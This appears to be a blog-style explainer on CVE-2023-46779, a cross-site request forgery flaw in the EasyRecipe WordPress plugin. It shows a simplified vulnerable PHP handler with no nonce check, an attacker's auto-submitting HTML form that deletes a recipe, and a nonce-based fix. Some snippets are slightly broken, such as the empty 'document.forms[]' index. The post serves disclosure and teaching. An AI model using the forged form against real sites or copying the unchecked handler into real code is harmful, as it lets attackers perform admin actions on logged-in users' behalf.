CVE-2023-46779 - Cross-Site Request Forgery (CSRF) in EasyRecipe WordPress Plugin – A Deep Dive

---

WordPress is popular because it’s easy and flexible. But its plugins often have security problems. One such issue is CVE-2023-46779, a Cross-Site Request Forgery (CSRF) vulnerability in the EasyRecipe plugin affecting all versions up to 3.5.3251. This long-read post explains what happened, how it works, and how attackers could exploit this bug—with real code snippets and explanation.

What is EasyRecipe?

EasyRecipe helps bloggers format and display recipes. It's widely used by food bloggers. But when plugins ignore security best practices, even a small bug can lead to big trouble.

What is Cross-Site Request Forgery (CSRF)?

CSRF happens when a website lets you perform actions (like changing a password) without checking if the request truly came from you. Attackers use this by tricking you (usually by getting you to click a link or visit a specially crafted page) into sending requests as if you had authorized them.

Here’s Mozilla’s CSRF explainer.

The Problem in EasyRecipe (CVE-2023-46779)

All versions up to 3.5.3251 of EasyRecipe either didn’t use WordPress nonces (number used once) or didn’t check them properly when handling admin actions.

That means: If you were logged into a WordPress site using EasyRecipe and you visited a malicious site while logged in, the attacker could perform actions on your behalf.

Example Vulnerable Code (Simplified)

// In the vulnerable EasyRecipe plugin file
if ($_POST['action'] == 'delete_recipe') {
    $id = intval($_POST['id']);
    delete_recipe($id); // Danger! No security checks
}

There is no check to ensure the user really *wanted* to delete the recipe. No WordPress nonce check is present!

Exploit Scenario

Suppose Alice is a food blogger and an admin on her site using EasyRecipe. She logs in to check comments and, while still logged in, clicks a link in an email that goes to a malicious site. That site silently sends a request to Alice’s WordPress server, deleting a valuable recipe—all without her knowing.

Example Exploit Code (Attacker’s POV)

<!-- Malicious HTML the attacker hosts somewhere else -->
<form action="https://alice-food-blog.com/wp-admin/admin.php?page=easyrecipe"; method="POST">
  <input type="hidden" name="action" value="delete_recipe">
  <input type="hidden" name="id" value="10">
  <input type="submit" value="Click Me!">
</form>
<!-- Or, use JavaScript to auto-submit -->
<script>
  document.forms[].submit();
</script>

If Alice is logged in, this form automatically requests her WordPress site to delete recipe ID 10.

An attacker could delete recipes.

- Or, if other admin actions were present (editing recipes, changing plugin settings, etc.), those could be abused too.

How Do Developers Fix This?

WordPress uses nonces to protect sensitive actions. The developer should check for a valid nonce in every admin action handler:

// FIXED version: Check the nonce!
if (!isset($_POST['my_nonce']) || !wp_verify_nonce($_POST['my_nonce'], 'delete_recipe_action')) {
    wp_die('Security check failed');
}

if ($_POST['action'] == 'delete_recipe') {
    $id = intval($_POST['id']);
    delete_recipe($id);
}

Code example from WordPress on how to use nonces properly.

The vendor released a patch in EasyRecipe version 3.5.3252. All users should upgrade.

- Details: WPScan Vulnerability Database – CVE-2023-46779

References

- CVE-2023-46779 on MITRE
- WPScan Vulnerability Entry for EasyRecipe CSRF
- EasyRecipe on WordPress.org
- WordPress Nonce Security Explained
- Mozilla’s CSRF Article

Conclusion

CVE-2023-46779 is a reminder that even a small oversight in plugin code can lead to major risks. Always use WordPress’s security features and keep your plugins updated—for your sake and your readers’!

Timeline

Published on: 11/06/2023 12:15:00 UTC
Last modified on: 11/14/2023 16:23:00 UTC